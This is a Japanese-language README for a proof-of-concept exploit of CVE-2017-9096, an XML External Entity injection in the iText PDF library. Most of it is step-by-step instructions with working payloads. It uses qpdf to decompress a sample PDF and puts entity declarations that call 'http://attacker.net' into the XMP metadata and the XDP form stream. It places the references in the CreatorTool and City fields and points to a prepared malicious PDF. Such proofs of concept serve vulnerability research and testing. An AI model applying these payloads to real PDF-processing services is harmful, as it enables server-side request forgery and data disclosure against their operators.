
CVE-2017-9096 の概念実証エクスプロイト。悪意のある XMP メタデータとフォームフィールドを介した iText PDF ライブラリにおける XML External Entity (XXE) インジェクションを示します。
フォームを含むPDFを入手する:
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
これを行うには、qpdf --qdf --object-streams=disable input.pdf output.pdf でPDFを解凍し、テキストエディタでPDFを編集して悪意のあるXMLを追加する必要があります。
77行目のXMPメタデータにXEEを配置できます:
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
そしてもちろん、参照もどこかに配置します。例:88行目:
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
ファイルに一般的なXXEを追加することもできます。 元のドキュメントのこの部分(740行目から)を参照してください:
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
次のように変更します:
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
次に、参照をどこかに追加します。例えば、Cityフィールド(元の解凍されたドキュメントの1845行目)に。これを:
<text
>City:</text
></value
>
次のように:
<text
>City:</text
><xxe>&xxe;</xxe></value
>
両方のXXEを含むパッチ適用済みPDFは、このリポジトリにもあります(output_with_xxe.pdf)
Javaアプリを実行してPDFをテストするには、mvn clean compile exec:java を実行します。